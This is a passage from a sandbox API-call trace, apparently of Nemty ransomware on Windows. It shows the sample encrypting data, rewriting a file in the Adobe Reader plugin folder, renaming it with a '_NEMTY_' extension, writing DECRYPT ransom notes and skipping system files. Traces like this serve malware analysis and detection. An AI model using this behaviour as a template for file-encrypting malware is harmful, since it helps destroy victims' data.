(HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0192.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0192.185] Sleep (dwMilliseconds=0x5) [0192.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x263370b0, dwHighDateTime=0x1d561e8)) [0192.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x263370b0, dwHighDateTime=0x1d561e8)) [0192.191] GetLastError () returned 0x0 [0192.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.191] GetLastError () returned 0x0 [0192.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.191] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.191] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.191] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.192] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="ZO/2QtQwqVQmsTjZS5iRl8X+frBDpAoVgkz6dfhubpC/novvTQqucuWacHEl40DJ\r\n0ePhu7OMMSatDKf2w7ROLehnhdDQbCvwyZXXtOq3YVu3KCFEXCHJ4wu+n23U+Xen\r\nVFVkhmemkPJZ0v3dbOIiLOQlfLwDCEwCABuMn26Jw3L2Hf4EpwDdt97VUN3Xjuj2\r\neMayzfia6Kp1RmuN3mkDnsSw1g2MdSKykXAi+PskZvTqhRl/cnuYRMvkHtaL60HJ\r\n5wUdLQj+qlMthK3lndk2DtWztXEqnz/hnjBC4STIj19g8NjQRQp6Kr+q9Yd+ioGw\r\nC4HLn5eRUa7uwrrdekpvvw==\r\n", pcchString=0x653e29c) returned 1 [0192.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\WindowsMedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\windowsmedia.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.192] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.192] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.192] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.194] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.194] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.194] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.194] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.194] CloseHandle (hObject=0x2f0) returned 1 [0192.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0192.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0192.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0192.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0192.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0192.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0192.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0192.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0192.194] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\WindowsMedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\windowsmedia.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\WindowsMedia.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\windowsmedia.rus._nemty_kgobjgd_")) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.195] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2629eb30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2629eb30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2629eb30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0192.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0192.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0192.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0192.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0192.195] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0192.196] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0192.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0192.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0192.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0192.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.197] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2629eb30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2629eb30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2629eb30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0192.197] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.197] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2=".") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="..") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="...") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="windows") returned -1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="$RECYCLE.BIN") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="rsa") returned -1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="NTDETECT.COM") returned -1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="ntldr") returned -1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="MSDOS.SYS") returned -1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="IO.SYS") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="boot.ini") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="boot.ini") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="AUTOEXEC.BAT") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="ntuser.dat") returned -1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="desktop.ini") returned 1 [0192.197] lstrcmpiW (lpString1="MPP_SKY", lpString2="CONFIG.SYS") returned 1 [0192.198] lstrcmpiW (lpString1="MPP_SKY", lpString2="RECYCLER") returned -1 [0192.198] lstrcmpiW (lpString1="MPP_SKY", lpString2="BOOTSECT.BAK") returned 1 [0192.198] lstrcmpiW (lpString1="MPP_SKY", lpString2="bootmgr") returned 1 [0192.198] lstrcmpiW (lpString1="MPP_SKY", lpString2="programdata") returned -1 [0192.198] lstrcmpiW (lpString1="MPP_SKY", lpString2="appdata") returned 1 [0192.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SKY", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SKY", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_SKY", lpUsedDefaultChar=0x0) returned 7 [0192.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SKY", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0192.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_SKY", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_SKY", lpUsedDefaultChar=0x0) returned 7 [0192.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0192.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0192.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0192.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0192.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0192.203] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.203] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0192.204] CloseHandle (hObject=0x2e8) returned 1 [0192.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0192.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0192.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0192.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0192.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0192.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0192.205] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.205] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0192.206] CloseHandle (hObject=0x2e8) returned 1 [0192.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0192.206] RtlAllocateHeap 